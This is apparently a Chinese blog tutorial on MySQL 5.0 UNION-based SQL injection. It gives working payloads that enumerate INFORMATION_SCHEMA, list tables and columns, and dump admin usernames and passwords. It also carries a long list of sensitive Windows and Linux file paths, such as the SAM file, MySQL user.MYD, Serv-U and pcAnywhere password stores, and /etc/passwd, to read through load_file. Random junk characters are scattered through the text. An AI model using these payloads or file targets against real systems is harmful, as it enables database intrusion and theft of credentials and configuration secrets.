mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
/ r" D, D2 C$ f& K8 y2 W$ L中记录了Mysql中所有
# l+ T  j% B; @& v2 b存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
) b0 |7 r4 t& f9 J3 j. Y$ S$ `$ z1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
- ]: b" U0 y7 ?) ~+ {) H3 k|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
' I3 F! y4 V9 ?! b  F& ?3 v
- t- K- o" x) [( q$ X- {2 y|COLUMNS ->存储的字段名表
  d- q: q0 r8 b' W|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
" u6 }) e2 t/ p' d& `8 I1 [4 T
: L9 I2 v( X$ L+ |- u|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
##

5 q& C! d4 f$ ^( S  a5 u, x0×001 获取系统信息:

union select 1,2,3,4,5,concat
0 M( V- V" I/ N4 ?8 |(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
9 w) ]% Y/ i4 w+ k* Z5 b* ^(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
& l$ ]; C6 E. F7 H- {1 u
/*
1 p! n2 @" \2 v4 E5 @$ t5 n- n. S* P
) ?5 w4 _5 s5 k: C0 ^+ q@@global.version_compile_os 获取系统版本

/ W- \. v9 `; E% k' e, C: N@@datadir 数据库路径
: s9 n5 z* T: Z' ~. Udatabase() 当前数据库名称
! o3 [4 G% M& _" ?6 N8 F8 }0x3c62723e 换行HEX值

*/
, u/ R/ K# n- ~
% I% O! i& a" b& m######################################################################

4 d* M# e! c2 _9 n# x0×002 获取表名
; A& z( c: t' i; s, `
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
( ^" C7 b- L' I! `% ^$ L: [" n
9 y3 d# k! p, D8 e! I) h4 Q/*

( L6 f* R2 l2 C; D0x67617264656e 为当前数据库名
4 n, R+ `" Q" \+ E$ \; T5 z7 s% d4 p
0 _$ j7 R( ~: s: K& @0 s% @; y6 Rgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) y& n2 W. {8 Q
5 w7 e. A+ f% Y0 H*/
6 V& J( P: \0 c% o( J
- p' n: S# J' |" [5 d######################################################################

! ?, _' h) k3 u5 A( M( y0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and

7 L; R+ S  ^( M! J! k2 h
1 r$ Z& N7 o/ N. R# Atable_schema=0x67617264656e limit 1 /*

, C0 \2 N6 F8 o( ?# B/*
  ~; |2 W' j) ^8 u# ^
5 y  |; z' Z+ egroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 h; Z/ q2 n  O
8 e5 I: j2 V( _" ]+ w0x61646d696e ->选择一个表
# {, _$ [& o' W/ j- j9 Q. n" c
+ O0 K4 h; X  |% ~0x67617264656e ->数据库名

*/

: ~) `) J* u% K- Z5 o; D#####################################################################

0×004 获取数据
8 e& y/ k! q4 s, C2 ]  w8 W
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

% ~4 x- e& {3 K7 b2 D, _, X/*
1 V: X* D  l$ l. l
0x3c62723e 换行符号HEX编码

' D8 j: r. z  \4 G: l2 c( Cgroup_concat 同时获得该字段所有数据

*/
" L% i; n5 \% ]. z2 Y4 X% K



0 ~: x% D0 L  S; I
顺便添加一些mysql注入时非常有用的一些东西
. I$ r) J+ n2 X
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

! h( K4 ]4 V0 u# Z: J/ P4 M5 m) i1:system_user() 系统用户名
  t% ~- w$ z4 Q: a2:user()        用户名
3:current_user()  当前用户名
" m) K' ?$ W# p  t0 s  C  `! k4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
/ o8 D) g. v  f7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
6 a) \7 S) k2 i9 B- u% W收集的一些路径：
WINDOWS下:
( Y* A. b4 S. _6 o/ E1 w+ _c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
* t# O2 R; e3 w' l0 w; D! Lc:/winnt/my.ini
) d4 K" J. A& y8 m# Rc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
" k) \  W+ b& R# ~, zc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 s$ y# Z8 i# O5 {) P' Q- X//存储了pcAnywhere的登陆密码
7 d0 A5 t; t& z. `' bc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
4 t, q; c7 y8 u" Pc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
5 W* ^4 m5 c' y& `8 ~* L3 ^C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
( R5 x2 H7 \# v8 K# `' H. w" _" vC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
- E  j+ Z) x. E1 h0 u6 _( \
LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
# Y3 m) }/ Y' w% R$ D/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
( o3 b$ v. X& r* q/etc/sysconfig/iptables //从中得到防火墙规则策略
: E' l) F- D; q3 v1 Z& ]" v4 ~/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
) p4 F: n0 c/ r/ {. |/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
8 ~/ [+ D, w. ]+ ?9 P2 r4 K/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 f( v+ X! M6 ^. v8 }: g/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
+ O1 q- J& B7 G4 j/etc/sysconfig/iptables 查看防火墙策略
; C! o" V1 h% y( i: g2 Tload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
2 e$ D' @0 X/ Q5 {replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.